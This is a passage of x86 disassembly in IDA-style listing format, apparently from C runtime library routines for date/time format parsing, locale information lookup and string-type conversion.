mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
mov al, [ebp+var_C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jb short loc_42EAF4
mov esp, ebp
pop ebp
retn
sub_42EA80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EB30 proc near ; CODE XREF: sub_42E360+EBp
; sub_42E360+13Cp ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 30h
loc_42EB36: ; CODE XREF: sub_42EB30+2EAj
; sub_42EB30:loc_42EEFBj ...
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_42EFAC
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_42EFAC
mov [ebp+var_8], 0
mov dword_492414, 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_42EB76
; ---------------------------------------------------------------------------
loc_42EB6D: ; CODE XREF: sub_42EB30+5Fj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_42EB76: ; CODE XREF: sub_42EB30+3Bj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
cmp eax, edx
jnz short loc_42EB91
jmp short loc_42EB6D
; ---------------------------------------------------------------------------
loc_42EB91: ; CODE XREF: sub_42EB30+5Dj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
sub edx, 27h
mov [ebp+var_14], edx
cmp [ebp+var_14], 52h
ja loc_42EF00
mov ecx, [ebp+var_14]
xor eax, eax
mov al, ds:byte_42EFDC[ecx]
jmp ds:off_42EFB0[eax*4]
loc_42EBC8: ; DATA XREF: .text:0042EFBCo
mov edx, [ebp+var_C]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
sub eax, 1
mov [ebp+var_18], eax
cmp [ebp+var_18], 3
ja short loc_42EC01
mov ecx, [ebp+var_18]
jmp ds:off_42F02F[ecx*4]
loc_42EBE7: ; DATA XREF: .text:off_42F02Fo
mov dword_492414, 1
loc_42EBF1: ; CODE XREF: sub_42EB30+B0j
; DATA XREF: .text:0042F033o
mov [ebp+var_8], 6Dh
jmp short loc_42EC01
; ---------------------------------------------------------------------------
loc_42EBF7: ; CODE XREF: sub_42EB30+B0j
; DATA XREF: .text:0042F037o
mov [ebp+var_8], 62h
jmp short loc_42EC01
; ---------------------------------------------------------------------------
loc_42EBFD: ; CODE XREF: sub_42EB30+B0j
; DATA XREF: .text:0042F03Bo
mov [ebp+var_8], 42h
loc_42EC01: ; CODE XREF: sub_42EB30+ABj
; sub_42EB30+C5j ...
jmp loc_42EF00
; ---------------------------------------------------------------------------
loc_42EC06: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:0042EFC0o
mov edx, [ebp+var_C]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 3
ja short loc_42EC3F
mov ecx, [ebp+var_1C]
jmp ds:off_42F03F[ecx*4]
loc_42EC25: ; CODE XREF: sub_42EB30+B0j
; DATA XREF: .text:off_42F03Fo
mov dword_492414, 1
loc_42EC2F: ; CODE XREF: sub_42EB30+B0j
; sub_42EB30+EEj
; DATA XREF: ...
mov [ebp+var_8], 64h
jmp short loc_42EC3F
; ---------------------------------------------------------------------------
loc_42EC35: ; CODE XREF: sub_42EB30+B0j
; sub_42EB30+EEj
; DATA XREF: ...
mov [ebp+var_8], 61h
jmp short loc_42EC3F
; ---------------------------------------------------------------------------
loc_42EC3B: ; CODE XREF: sub_42EB30+B0j
; sub_42EB30+EEj
; DATA XREF: ...
mov [ebp+var_8], 41h
loc_42EC3F: ; CODE XREF: sub_42EB30+E9j
; sub_42EB30+103j ...
jmp loc_42EF00
; ---------------------------------------------------------------------------
loc_42EC44: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:0042EFD4o
mov edx, [ebp+var_C]
mov [ebp+var_20], edx
cmp [ebp+var_20], 2
jz short loc_42EC58
cmp [ebp+var_20], 4
jz short loc_42EC5E
jmp short loc_42EC62
; ---------------------------------------------------------------------------
loc_42EC58: ; CODE XREF: sub_42EB30+11Ej
mov [ebp+var_8], 79h
jmp short loc_42EC62
; ---------------------------------------------------------------------------
loc_42EC5E: ; CODE XREF: sub_42EB30+124j
mov [ebp+var_8], 59h
loc_42EC62: ; CODE XREF: sub_42EB30+126j
; sub_42EB30+12Cj
jmp loc_42EF00
; ---------------------------------------------------------------------------
loc_42EC67: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:0042EFC4o
mov eax, [ebp+var_C]
mov [ebp+var_24], eax
cmp [ebp+var_24], 1
jz short loc_42EC7B
cmp [ebp+var_24], 2
jz short loc_42EC85
jmp short loc_42EC89
; ---------------------------------------------------------------------------
loc_42EC7B: ; CODE XREF: sub_42EB30+141j
mov dword_492414, 1
loc_42EC85: ; CODE XREF: sub_42EB30+147j
mov [ebp+var_8], 49h
loc_42EC89: ; CODE XREF: sub_42EB30+149j
jmp loc_42EF00
; ---------------------------------------------------------------------------
loc_42EC8E: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:0042EFB8o
mov ecx, [ebp+var_C]
mov [ebp+var_28], ecx
cmp [ebp+var_28], 1
jz short loc_42ECA2
cmp [ebp+var_28], 2
jz short loc_42ECAC
jmp short loc_42ECB0
; ---------------------------------------------------------------------------
loc_42ECA2: ; CODE XREF: sub_42EB30+168j
mov dword_492414, 1
loc_42ECAC: ; CODE XREF: sub_42EB30+16Ej
mov [ebp+var_8], 48h
loc_42ECB0: ; CODE XREF: sub_42EB30+170j
jmp loc_42EF00
; ---------------------------------------------------------------------------
loc_42ECB5: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:0042EFC8o
mov edx, [ebp+var_C]
mov [ebp+var_2C], edx
cmp [ebp+var_2C], 1
jz short loc_42ECC9
cmp [ebp+var_2C], 2
jz short loc_42ECD3
jmp short loc_42ECD7
; ---------------------------------------------------------------------------
loc_42ECC9: ; CODE XREF: sub_42EB30+18Fj
mov dword_492414, 1
loc_42ECD3: ; CODE XREF: sub_42EB30+195j
mov [ebp+var_8], 4Dh
loc_42ECD7: ; CODE XREF: sub_42EB30+197j
jmp loc_42EF00
; ---------------------------------------------------------------------------
loc_42ECDC: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:0042EFCCo
mov eax, [ebp+var_C]
mov [ebp+var_30], eax
cmp [ebp+var_30], 1
jz short loc_42ECF0
cmp [ebp+var_30], 2
jz short loc_42ECFA
jmp short loc_42ECFE
; ---------------------------------------------------------------------------
loc_42ECF0: ; CODE XREF: sub_42EB30+1B6j
mov dword_492414, 1
loc_42ECFA: ; CODE XREF: sub_42EB30+1BCj
mov [ebp+var_8], 53h
loc_42ECFE: ; CODE XREF: sub_42EB30+1BEj
jmp loc_42EF00
; ---------------------------------------------------------------------------
loc_42ED03: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:0042EFB4o
push offset aAmPm ; "am/pm"
mov ecx, [ebp+arg_0]
push ecx
call sub_42F560
add esp, 8
test eax, eax
jnz short loc_42ED23
mov edx, [ebp+arg_0]
add edx, 5
mov [ebp+var_4], edx
jmp short loc_42ED41
; ---------------------------------------------------------------------------
loc_42ED23: ; CODE XREF: sub_42EB30+1E6j
push offset aAP ; "a/p"
mov eax, [ebp+arg_0]
push eax
call sub_42F560
add esp, 8
test eax, eax
jnz short loc_42ED41
mov ecx, [ebp+arg_0]
add ecx, 3
mov [ebp+var_4], ecx
loc_42ED41: ; CODE XREF: sub_42EB30+1F1j
; sub_42EB30+206j
mov [ebp+var_8], 70h
jmp loc_42EF00
; ---------------------------------------------------------------------------
loc_42ED4A: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:0042EFD0o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_42ED61
mov eax, [ebp+arg_10]
mov ecx, [eax+98h]
mov [ebp+var_10], ecx
jmp short loc_42ED6D
; ---------------------------------------------------------------------------
loc_42ED61: ; CODE XREF: sub_42EB30+221j
mov edx, [ebp+arg_10]
mov eax, [edx+9Ch]
mov [ebp+var_10], eax
loc_42ED6D: ; CODE XREF: sub_42EB30+22Fj
; sub_42EB30+2DFj
cmp [ebp+var_C], 0
jle loc_42EE14
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jbe loc_42EE14
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42EDD7
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 1
jbe short loc_42EDD7
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+var_10]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
loc_42EDD7: ; CODE XREF: sub_42EB30+26Ej
; sub_42EB30+276j
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+var_10]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
jmp loc_42ED6D
; ---------------------------------------------------------------------------
loc_42EE14: ; CODE XREF: sub_42EB30+241j
; sub_42EB30+24Dj
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp loc_42EB36
; ---------------------------------------------------------------------------
loc_42EE1F: ; CODE XREF: sub_42EB30+91j
; DATA XREF: .text:off_42EFB0o
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jz loc_42EEF2
mov edx, [ebp+arg_0]
add edx, [ebp+var_C]
mov [ebp+arg_0], edx
loc_42EE36: ; CODE XREF: sub_42EB30+3BBj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_42EEF0
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_42EEF0
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 27h
jnz short loc_42EE69
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp loc_42EEF0
; ---------------------------------------------------------------------------
loc_42EE69: ; CODE XREF: sub_42EB30+329j
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_42EEBC
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 1
jbe short loc_42EEBC
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_42EEBC: ; CODE XREF: sub_42EB30+353j
; sub_42EB30+35Bj
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp loc_42EE36
; ---------------------------------------------------------------------------
loc_42EEF0: ; CODE XREF: sub_42EB30+30Ej
; sub_42EB30+31Aj ...
jmp short loc_42EEFB
; ---------------------------------------------------------------------------
loc_42EEF2: ; CODE XREF: sub_42EB30+2F7j
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
mov [ebp+arg_0], eax
loc_42EEFB: ; CODE XREF: sub_42EB30:loc_42EEF0j
jmp loc_42EB36
; ---------------------------------------------------------------------------
loc_42EF00: ; CODE XREF: sub_42EB30+80j
; sub_42EB30+91j ...
movsx ecx, [ebp+var_8]
test ecx, ecx
jz short loc_42EF2C
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov al, [ebp+var_8]
push eax
call sub_42E360
add esp, 14h
mov ecx, [ebp+var_4]
mov [ebp+arg_0], ecx
jmp short loc_42EFA7
; ---------------------------------------------------------------------------
loc_42EF2C: ; CODE XREF: sub_42EB30+3D6j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42EF78
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_42EF78: ; CODE XREF: sub_42EB30+417j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_42EFA7: ; CODE XREF: sub_42EB30+3FAj
jmp loc_42EB36
; ---------------------------------------------------------------------------
loc_42EFAC: ; CODE XREF: sub_42EB30+Ej
; sub_42EB30+1Aj
mov esp, ebp
pop ebp
retn
sub_42EB30 endp
; ---------------------------------------------------------------------------
off_42EFB0 dd offset loc_42EE1F ; DATA XREF: sub_42EB30+91r
dd offset loc_42ED03
dd offset loc_42EC8E
dd offset loc_42EBC8
dd offset loc_42EC06
dd offset loc_42EC67
dd offset loc_42ECB5
dd offset loc_42ECDC
dd offset loc_42ED4A
dd offset loc_42EC44
dd offset loc_42EF00
byte_42EFDC db 0 ; DATA XREF: sub_42EB30+8Br
db 3 dup(0Ah)
dd 5 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah
dd 4 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A040Ah, 0A0A050Ah, 0A060A0Ah
dd 0A0A0A0Ah, 0A0A0807h
db 2 dup(0Ah), 9
off_42F02F dd offset loc_42EBE7 ; DATA XREF: sub_42EB30+B0r
dd offset loc_42EBF1
dd offset loc_42EBF7
dd offset loc_42EBFD
off_42F03F dd offset loc_42EC25 ; DATA XREF: sub_42EB30+EEr
dd offset loc_42EC2F
dd offset loc_42EC35
dd offset loc_42EC3B
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F050 proc near ; CODE XREF: sub_429860+41p
; sub_429860+60p ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0A8h
cmp [ebp+arg_0], 1
jnz loc_42F1B9
mov eax, [ebp+arg_C]
mov [ebp+var_90], eax
lea ecx, [ebp+var_8C]
mov [ebp+var_C], ecx
mov [ebp+var_4], 0
mov [ebp+var_94], 80h
push 0
mov edx, [ebp+var_94]
push edx
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_430040
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz loc_42F13F
call ds:dword_4942F0
cmp eax, 7Ah
jz short loc_42F0C0
jmp loc_42F19D
; ---------------------------------------------------------------------------
loc_42F0C0: ; CODE XREF: sub_42F050+69j
push 0
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_430040
add esp, 14h
mov [ebp+var_94], eax
cmp [ebp+var_94], 0
jnz short loc_42F0EA
jmp loc_42F19D
; ---------------------------------------------------------------------------
loc_42F0EA: ; CODE XREF: sub_42F050+93j
push 58h
push offset aInithelp_c ; "inithelp.c"
push 2
mov edx, [ebp+var_94]
push edx
call sub_416A30
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42F110
jmp loc_42F19D
; ---------------------------------------------------------------------------
loc_42F110: ; CODE XREF: sub_42F050+B9j
mov [ebp+var_4], 1
push 0
mov eax, [ebp+var_94]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_430040
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42F13F
jmp short loc_42F19D
; ---------------------------------------------------------------------------
loc_42F13F: ; CODE XREF: sub_42F050+5Aj
; sub_42F050+EBj
push 63h
push offset aInithelp_c ; "inithelp.c"
push 2
mov ecx, [ebp+var_8]
push ecx
call sub_416A30
add esp, 10h
mov edx, [ebp+var_90]
mov [edx], eax
mov eax, [ebp+var_90]
cmp dword ptr [eax], 0
jnz short loc_42F169
jmp short loc_42F19D
; ---------------------------------------------------------------------------
loc_42F169: ; CODE XREF: sub_42F050+115j
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_90]
mov ecx, [eax]
push ecx
call sub_4191A0
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_42F196
push 2
mov edx, [ebp+var_C]
push edx
call sub_4174C0
add esp, 8
loc_42F196: ; CODE XREF: sub_42F050+136j
xor eax, eax
jmp loc_42F2D6
; ---------------------------------------------------------------------------
loc_42F19D: ; CODE XREF: sub_42F050+6Bj
; sub_42F050+95j ...
cmp [ebp+var_4], 0
jz short loc_42F1B1
push 2
mov eax, [ebp+var_C]
push eax
call sub_4174C0
add esp, 8
loc_42F1B1: ; CODE XREF: sub_42F050+151j
or eax, 0FFFFFFFFh
jmp loc_42F2D6
; ---------------------------------------------------------------------------
loc_42F1B9: ; CODE XREF: sub_42F050+Dj
cmp [ebp+arg_0], 0
jnz loc_42F2D3
mov [ebp+var_A4], 4
mov ecx, [ebp+arg_C]
mov [ebp+var_9C], ecx
push 0
mov edx, [ebp+var_A4]
push edx
push offset byte_4923F0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_42FEA0
add esp, 14h
test eax, eax
jnz short loc_42F200
or eax, 0FFFFFFFFh
jmp loc_42F2D6
; ---------------------------------------------------------------------------
loc_42F200: ; CODE XREF: sub_42F050+1A6j
mov edx, [ebp+var_9C]
mov byte ptr [edx], 0
mov [ebp+var_A0], 0
jmp short loc_42F224
; ---------------------------------------------------------------------------
loc_42F215: ; CODE XREF: sub_42F050:loc_42F2CAj
mov eax, [ebp+var_A0]
add eax, 1
mov [ebp+var_A0], eax
loc_42F224: ; CODE XREF: sub_42F050+1C3j
cmp [ebp+var_A0], 4
jge loc_42F2CF
cmp dword_442F58, 1
jle short loc_42F26B
push 4
mov ecx, [ebp+var_A0]
mov dl, byte_4923F0[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
push eax
call sub_41E750
add esp, 8
mov [ebp+var_A8], eax
jmp short loc_42F29E
; ---------------------------------------------------------------------------
loc_42F26B: ; CODE XREF: sub_42F050+1E8j
mov ecx, [ebp+var_A0]
mov dl, byte_4923F0[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_A8], edx
loc_42F29E: ; CODE XREF: sub_42F050+219j
cmp [ebp+var_A8], 0
jz short loc_42F2C8
mov eax, [ebp+var_9C]
movsx ecx, byte ptr [eax]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_98]
lea eax, [ecx+edx-30h]
mov ecx, [ebp+var_9C]
mov [ecx], al
jmp short loc_42F2CA
; ---------------------------------------------------------------------------
loc_42F2C8: ; CODE XREF: sub_42F050+255j
jmp short loc_42F2CF
; ---------------------------------------------------------------------------
loc_42F2CA: ; CODE XREF: sub_42F050+276j
jmp loc_42F215
; ---------------------------------------------------------------------------
loc_42F2CF: ; CODE XREF: sub_42F050+1DBj
; sub_42F050:loc_42F2C8j
xor eax, eax
jmp short loc_42F2D6
; ---------------------------------------------------------------------------
loc_42F2D3: ; CODE XREF: sub_42F050+16Dj
or eax, 0FFFFFFFFh
loc_42F2D6: ; CODE XREF: sub_42F050+148j
; sub_42F050+164j ...
mov esp, ebp
pop ebp
retn
sub_42F050 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, off_4440D0
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F2F0 proc near ; CODE XREF: sub_42A890+216p
; sub_4316E0+50p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_433CD8
push offset sub_425F84
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4923FC, 0
jnz short loc_42F36E
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_43301C
push 1
call ds:dword_4942C0
test eax, eax
jz short loc_42F342
mov dword_4923FC, 1
jmp short loc_42F36E
; ---------------------------------------------------------------------------
loc_42F342: ; CODE XREF: sub_42F2F0+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_433018
push 1
push 0
call ds:dword_4942C4
test eax, eax
jz short loc_42F367
mov dword_4923FC, 2
jmp short loc_42F36E
; ---------------------------------------------------------------------------
loc_42F367: ; CODE XREF: sub_42F2F0+69j
xor eax, eax
jmp loc_42F549
; ---------------------------------------------------------------------------
loc_42F36E: ; CODE XREF: sub_42F2F0+2Dj
; sub_42F2F0+50j ...
cmp dword_4923FC, 1
jnz short loc_42F392
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4942C0
jmp loc_42F549
; ---------------------------------------------------------------------------
loc_42F392: ; CODE XREF: sub_42F2F0+85j
cmp dword_4923FC, 2
jnz loc_42F547
cmp [ebp+arg_10], 0
jnz short loc_42F3AD
mov eax, dword_492180
mov [ebp+arg_10], eax
loc_42F3AD: ; CODE XREF: sub_42F2F0+B3j
push 0
push 0
push 0
push 0
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push 220h
mov eax, [ebp+arg_10]
push eax
call ds:dword_4943B0
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42F3DC
xor eax, eax
jmp loc_42F549
; ---------------------------------------------------------------------------
loc_42F3DC: ; CODE XREF: sub_42F2F0+E3j
mov [ebp+var_4], 0
mov eax, [ebp+var_28]
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_28]
push edx
push 0
mov eax, [ebp+var_2C]
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42F42E
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42F42E: ; CODE XREF: sub_42F2F0+125j
cmp [ebp+var_2C], 0
jnz short loc_42F43B
xor eax, eax
jmp loc_42F549
; ---------------------------------------------------------------------------
loc_42F43B: ; CODE XREF: sub_42F2F0+142j
push 0
push 0
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call ds:dword_4943B0
test eax, eax
jnz short loc_42F469
xor eax, eax
jmp loc_42F549
; ---------------------------------------------------------------------------
loc_42F469: ; CODE XREF: sub_42F2F0+170j
mov [ebp+var_4], 1
mov eax, [ebp+var_28]
lea eax, [eax+eax+2]
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_34]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42F4AD
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42F4AD: ; CODE XREF: sub_42F2F0+1A4j
cmp [ebp+var_24], 0
jnz short loc_42F4BA
xor eax, eax
jmp loc_42F549
; ---------------------------------------------------------------------------
loc_42F4BA: ; CODE XREF: sub_42F2F0+1C1j
cmp [ebp+arg_14], 0
jnz short loc_42F4C9
mov edx, dword_492170
mov [ebp+arg_14], edx
loc_42F4C9: ; CODE XREF: sub_42F2F0+1CEj
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
mov word ptr [ecx+eax*2], 0FFFFh
mov edx, [ebp+arg_8]
mov eax, [ebp+var_24]
mov word ptr [eax+edx*2-2], 0FFFFh
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_14]
push edx
call ds:dword_4942C4
mov [ebp+var_20], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2-2]
cmp edx, 0FFFFh
jz short loc_42F528
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2]
cmp edx, 0FFFFh
jz short loc_42F52C
loc_42F528: ; CODE XREF: sub_42F2F0+222j
xor eax, eax
jmp short loc_42F549
; ---------------------------------------------------------------------------
loc_42F52C: ; CODE XREF: sub_42F2F0+236j
mov eax, [ebp+arg_8]
shl eax, 1
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_426C00
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_42F549
; ---------------------------------------------------------------------------
loc_42F547: ; CODE XREF: sub_42F2F0+A9j
xor eax, eax
loc_42F549: ; CODE XREF: sub_42F2F0+79j
; sub_42F2F0+9Dj ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42F2F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F560 proc near ; CODE XREF: sub_42AEC0+40p
; sub_42B010+5Fp ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_492168
cmp dword ptr [eax+8], 0
jnz short loc_42F5B3
mov al, 0FFh
mov edi, edi
